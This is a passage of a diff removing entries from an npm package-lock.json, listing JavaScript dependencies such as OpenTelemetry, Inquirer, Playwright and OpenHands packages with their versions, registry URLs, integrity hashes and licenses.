"sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@inquirer/ansi": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@inquirer/ansi/-/ansi-2.0.7.tgz", - "integrity": "sha512-3eTuUO1vH2cZm2ZKHeQxnOqlTi9EfZDGgIe3BL3I4u+rJHocr9Fz86M4fjYABPvFnQG/gGK551HqDiIcETwU6Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" - } - }, - "node_modules/@inquirer/confirm": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-6.1.1.tgz", - "integrity": "sha512-eb8DBZcz/2qHWQda4rk2JiQk5h9QV/cVHi1yjt0f69WFZMRFn0sJTye3EAP8icut8UDMjQPsaH5KbcOogefrFQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@inquirer/core": "^11.2.1", - "@inquirer/type": "^4.0.7" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/core": { - "version": "11.2.1", - "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-11.2.1.tgz", - "integrity": "sha512-Qd6GJT1yVyrZZCfN8W2qKF5ApmqryXRhRKCuip8h01x2w/esJQ2XIYc6f9abMIHgKQdBfFTSOdbHRLAhuM09UA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^2.0.7", - "@inquirer/figures": "^2.0.7", - "@inquirer/type": "^4.0.7", - "cli-width": "^4.1.0", - "fast-wrap-ansi": "^0.2.0", - "mute-stream": "^3.0.0", - "signal-exit": "^4.1.0" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/figures": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-2.0.7.tgz", - "integrity": "sha512-aJ8TBPOGB6f/2qziPfElISTCEd5XOYTFckA2SGjhNmiKzfK/u4ot3v0DUzGVdUnKjN10EqnnEPck36BkyfLnJw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" - } - }, - "node_modules/@inquirer/type": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-4.0.7.tgz", - "integrity": "sha512-t28inv14nMQ1PhKpsJPY+kEs/c00qzeCOS2gTNRyTjG5d6qsVA2fItxW4hkvGZ5lvanGLdtCzVIx5dwdRpN1+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@internationalized/date": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/@internationalized/date/-/date-3.12.0.tgz", - "integrity": "sha512-/PyIMzK29jtXaGU23qTvNZxvBXRtKbNnGDFD+PY6CZw/Y8Ex8pFUzkuCJCG9aOqmShjqhS9mPqP6Dk5onQY8rQ==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - } - }, - "node_modules/@internationalized/message": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/@internationalized/message/-/message-3.1.10.tgz", - "integrity": "sha512-nc0Or6EdWHqZRcsXb6P9hBIpLsfSl/ILh0rk5h/OVBpzmhdExXtPy2cQtWsq8XKRBpRHwDNnAHt4OpolcB7dog==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "intl-messageformat": "^10.1.0" - } - }, - "node_modules/@internationalized/number": { - "version": "3.6.7", - "resolved": "https://registry.npmjs.org/@internationalized/number/-/number-3.6.7.tgz", - "integrity": "sha512-3ji1fcrT+FPAK86UqEhB/psHixYo6niWPJtt7+qRaYFynt/BaJG8GhAPimtWUpEiVSTq8ZM8L5psMxGquiB/Vg==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - } - }, - "node_modules/@internationalized/string": { - "version": "3.2.9", - "resolved": "https://registry.npmjs.org/@internationalized/string/-/string-3.2.9.tgz", - "integrity": "sha512-kzP/M/mbQxODlmOt4bIQZ2SBVUWUSqMLXooXixnX7noche8WHaQcA+nwFN1K2KCF/cp+LDUhcJsCicwkvhD1pg==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - } - }, - "node_modules/@isaacs/fs-minipass": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", - "integrity": "sha512-wgm9Ehl2jpeqP3zw/7mo3kRHFp5MEDhqAdwy1fTGkHAwnkGOVsgpvQhL8B5n1qlb01jV3n/bI0ZfZp5lWA1k4w==", - "dev": true, - "license": "ISC", - "dependencies": { - "minipass": "^7.0.4" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.13", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.0", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/remapping": { - "version": "2.3.5", - "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - "license": "MIT", - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.5", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.31", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - "license": "MIT", - "dependencies": { - "@jridgewell/resolve-uri": "^3.1.0", - "@jridgewell/sourcemap-codec": "^1.4.14" - } - }, - "node_modules/@malept/cross-spawn-promise": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@malept/cross-spawn-promise/-/cross-spawn-promise-2.0.0.tgz", - "integrity": "sha512-1DpKU0Z5ThltBwjNySMC14g0CkbyhCaz9FkhxqNsZI6uAPJXFS8cMXlBKo26FJ8ZuW6S9GCMcR9IO5k2X5/9Fg==", - "dev": true, - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/malept" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/subscription/pkg/npm-.malept-cross-spawn-promise?utm_medium=referral&utm_source=npm_fund" - } - ], - "license": "Apache-2.0", - "dependencies": { - "cross-spawn": "^7.0.1" - }, - "engines": { - "node": ">= 12.13.0" - } - }, - "node_modules/@malept/flatpak-bundler": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/@malept/flatpak-bundler/-/flatpak-bundler-0.4.0.tgz", - "integrity": "sha512-9QOtNffcOF/c1seMCDnjckb3R9WHcG34tky+FHpNKKCW0wc/scYLwMtO+ptyGUfMW0/b/n4qRiALlaFHc9Oj7Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "debug": "^4.1.1", - "fs-extra": "^9.0.0", - "lodash": "^4.17.15", - "tmp-promise": "^3.0.2" - }, - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/@malept/flatpak-bundler/node_modules/fs-extra": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", - "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "at-least-node": "^1.0.0", - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/@microlink/react-json-view": { - "version": "1.31.20", - "resolved": "https://registry.npmjs.org/@microlink/react-json-view/-/react-json-view-1.31.20.tgz", - "integrity": "sha512-gNLkGvjFDeAqVGvK3H7lfoDqetn/9lW2ugiYiJhchc7jQU1ZaKsZnt97ANluXWFfd/wifoA9TrVOTsUXwXCJwA==", - "license": "MIT", - "dependencies": { - "react-base16-styling": "~0.10.0", - "react-lifecycles-compat": "~3.0.4", - "react-textarea-autosize": "~8.5.9" - }, - "engines": { - "node": ">=17" - }, - "peerDependencies": { - "react": ">= 15", - "react-dom": ">= 15" - } - }, - "node_modules/@mjackson/node-fetch-server": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@mjackson/node-fetch-server/-/node-fetch-server-0.2.0.tgz", - "integrity": "sha512-EMlH1e30yzmTpGLQjlFmaDAjyOeZhng1/XCd7DExR8PNAnG/G1tyruZxEoUe11ClnwGhGrtsdnyyUx1frSzjng==", - "license": "MIT" - }, - "node_modules/@monaco-editor/loader": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz", - "integrity": "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==", - "license": "MIT", - "dependencies": { - "state-local": "^1.0.6" - } - }, - "node_modules/@monaco-editor/react": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz", - "integrity": "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==", - "license": "MIT", - "dependencies": { - "@monaco-editor/loader": "^1.5.0" - }, - "peerDependencies": { - "monaco-editor": ">= 0.25.0 < 1", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/@mswjs/interceptors": { - "version": "0.39.8", - "resolved": "https://registry.npmjs.org/@mswjs/interceptors/-/interceptors-0.39.8.tgz", - "integrity": "sha512-2+BzZbjRO7Ct61k8fMNHEtoKjeWI9pIlHFTqBwZ5icHpqszIgEZbjb1MW5Z0+bITTCTl3gk4PDBxs9tA/csXvA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@open-draft/deferred-promise": "^2.2.0", - "@open-draft/logger": "^0.3.0", - "@open-draft/until": "^2.0.0", - "is-node-process": "^1.2.0", - "outvariant": "^1.4.3", - "strict-event-emitter": "^0.5.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@mswjs/socket.io-binding": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@mswjs/socket.io-binding/-/socket.io-binding-0.2.0.tgz", - "integrity": "sha512-Q2Y7ridsoWv3cCibmR8g4m4h50op22nuOm3pZciKCO7ss90dkI4m0jiL55kYzxsUvXIISuK9ovRyXrtr6J6O/A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@mswjs/interceptors": "^0.39.2", - "engine.io-parser": "^5.2.3", - "socket.io-parser": "^4.2.4" - }, - "peerDependencies": { - "msw": "^2.10.2" - } - }, - "node_modules/@napi-rs/wasm-runtime": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.4.tgz", - "integrity": "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==", - "license": "MIT", - "optional": true, - "dependencies": { - "@tybys/wasm-util": "^0.10.1" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Brooooooklyn" - }, - "peerDependencies": { - "@emnapi/core": "^1.7.1", - "@emnapi/runtime": "^1.7.1" - } - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@open-draft/deferred-promise": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@open-draft/deferred-promise/-/deferred-promise-2.2.0.tgz", - "integrity": "sha512-CecwLWx3rhxVQF6V4bAgPS5t+So2sTbPgAzafKkVizyi7tlwpcFpdFqq+wqF2OwNBmqFuu6tOyouTuxgpMfzmA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@open-draft/logger": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/@open-draft/logger/-/logger-0.3.0.tgz", - "integrity": "sha512-X2g45fzhxH238HKO4xbSr7+wBS8Fvw6ixhTDuvLd5mqh6bJJCFAPwU9mPDxbcrRtfxv4u5IHCEH77BmxvXmmxQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-node-process": "^1.2.0", - "outvariant": "^1.4.0" - } - }, - "node_modules/@open-draft/until": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@open-draft/until/-/until-2.1.0.tgz", - "integrity": "sha512-U69T3ItWHvLwGg5eJ0n3I62nWuE6ilHlmz7zM0npLBRvPRd7e6NYmg54vvRtP5mZG7kZqZCFVdsTWo7BPtBujg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@openhands/extensions": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/@openhands/extensions/-/extensions-0.11.0.tgz", - "integrity": "sha512-xAQfAROOh3XnzOKIXiJcYNypEk36kPJhs8+xs8YgzsOCg5Wg4A6CPs2pR5CsLZ0MG+cxZEf5wTWdPn4+/g0w7g==", - "license": "MIT", - "engines": { - "node": ">=18.20.0" - }, - "peerDependencies": { - "lucide-react": ">=0.400.0", - "react": ">=18.0.0", - "react-icons": ">=5.0.0" - } - }, - "node_modules/@openhands/typescript-client": { - "version": "1.34.0", - "resolved": "https://registry.npmjs.org/@openhands/typescript-client/-/typescript-client-1.34.0.tgz", - "integrity": "sha512-29nuKB7m1aOBHJWPgAY8ahZlsnJGkgByuoAQzYjY/lHzUClhM9RCJ0vgghm9cblADiYf+mUAOEL9AaOkXH2ahQ==", - "license": "MIT", - "dependencies": { - "@openrouter/sdk": "^0.13.24", - "ws": "^8.20.0" - } - }, - "node_modules/@openrouter/sdk": { - "version": "0.13.24", - "resolved": "https://registry.npmjs.org/@openrouter/sdk/-/sdk-0.13.24.tgz", - "integrity": "sha512-E/gdhaUl9UKn1ngm+kw21ybnqB5iAAwbxnsDzE2iTZzQCbR7J0REZa65HJY8TxYwpaOs3rLpiHyi4w8LNKpvmQ==", - "hasInstallScript": true, - "dependencies": { - "zod": "^3.25.0 || ^4.0.0" - } - }, - "node_modules/@opentelemetry/api": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", - "integrity": "sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==", - "license": "Apache-2.0", - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/@opentelemetry/api-logs": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.208.0.tgz", - "integrity": "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api": "^1.3.0" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/@opentelemetry/core": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", - "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-http": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.208.0.tgz", - "integrity": "sha512-jOv40Bs9jy9bZVLo/i8FwUiuCvbjWDI+ZW13wimJm4LjnlwJxGgB+N/VWOZUTpM+ah/awXeQqKdNlpLf2EjvYg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.208.0", - "@opentelemetry/core": "2.2.0", - "@opentelemetry/otlp-exporter-base": "0.208.0", - "@opentelemetry/otlp-transformer": "0.208.0", - "@opentelemetry/sdk-logs": "0.208.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/otlp-exporter-base": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.208.0.tgz", - "integrity": "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/otlp-transformer": "0.208.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.208.0.tgz", - "integrity": "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.208.0", - "@opentelemetry/core": "2.2.0", - "@opentelemetry/resources": "2.2.0", - "@opentelemetry/sdk-logs": "0.208.0", - "@opentelemetry/sdk-metrics": "2.2.0", - "@opentelemetry/sdk-trace-base": "2.2.0", - "protobufjs": "^7.3.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/resources": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", - "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/resources": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.7.1.tgz", - "integrity": "sha512-DeT6KKolmC4e/dRQvMQ/RwlnzhaqeiFOXY5ngoOPJ07GgVVKxZOg9EcrNZb5aTzUn+iCrJldAgOfQm1O/QfPAQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.7.1", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/resources/node_modules/@opentelemetry/core": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.7.1.tgz", - "integrity": "sha512-QAqIj32AtK6+pEVNG7EOVxHdE06RP+FM5qpiEJ4RtDcFIqKUZHYhl7/7UY5efhwmwNAg7j8QbJVBLxMerc0+gw==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-logs": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.208.0.tgz", - "integrity": "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.208.0", - "@opentelemetry/core": "2.2.0", - "@opentelemetry/resources": "2.2.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.4.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/resources": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", - "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-metrics": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", - "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/resources": "2.2.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.9.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/resources": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", - "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", - "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/resources": "2.2.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-trace-base/node_modules/@opentelemetry/resources": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", - "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/semantic-conventions": { - "version": "1.41.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.41.1.tgz", - "integrity": "sha512-/UhIkaZgPutTFmQ7RnIJGgDXZmtEJ7Dvi86xNTFWcnRxVRNk/aotsqDJYeEvDP+FSMB2SdW+pQzNMcWP0rwuNA==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@oxc-project/types": { - "version": "0.133.0", - "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.133.0.tgz", - "integrity": "sha512-KzkdCd6Uxqnf6l3HOw1xfatAlUURA0g14cvBYFyJ5SaNOQbOUvBr9PKArcPcrNIeRsBdgcUzOGrhKveVpvOIGA==", - "funding": { - "url": "https://github.com/sponsors/Boshen" - } - }, - "node_modules/@package-json/types": { - "version": "0.0.12", - "resolved": "https://registry.npmjs.org/@package-json/types/-/types-0.0.12.tgz", - "integrity": "sha512-uu43FGU34B5VM9mCNjXCwLaGHYjXdNincqKLaraaCW+7S2+SmiBg1Nv8bPnmschrIfZmfKNY9f3fC376MRrObw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@pkgr/core": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@pkgr/core/-/core-0.3.6.tgz", - "integrity": "sha512-SEeaJLb3qBNF/OaXnaR1NmmBbFYk1zC0ZH/52fATcRPLFg/p791YrcyFFy44Bo9sLaGuSuLp5Q6axbb/O+v/RA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^14.18.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/pkgr" - } - }, - "node_modules/@playwright/test": { - "version": "1.59.1", - "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.59.1.tgz", - "integrity": "sha512-PG6q63nQg5c9rIi4/Z5lR5IVF7yU5MqmKaPOe0HSc0O2cX1fPi96sUQu5j7eo4gKCkB2AnNGoWt7y4/Xx3Kcqg==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "playwright": "1.59.1" - }, - "bin": { - "playwright": "cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@polka/url": { - "version": "1.0.0-next.29", - "resolved": "https://registry.npmjs.org/@polka/url/-/url-1.0.0-next.29.tgz", - "integrity": "sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==", - "license": "MIT" - }, - 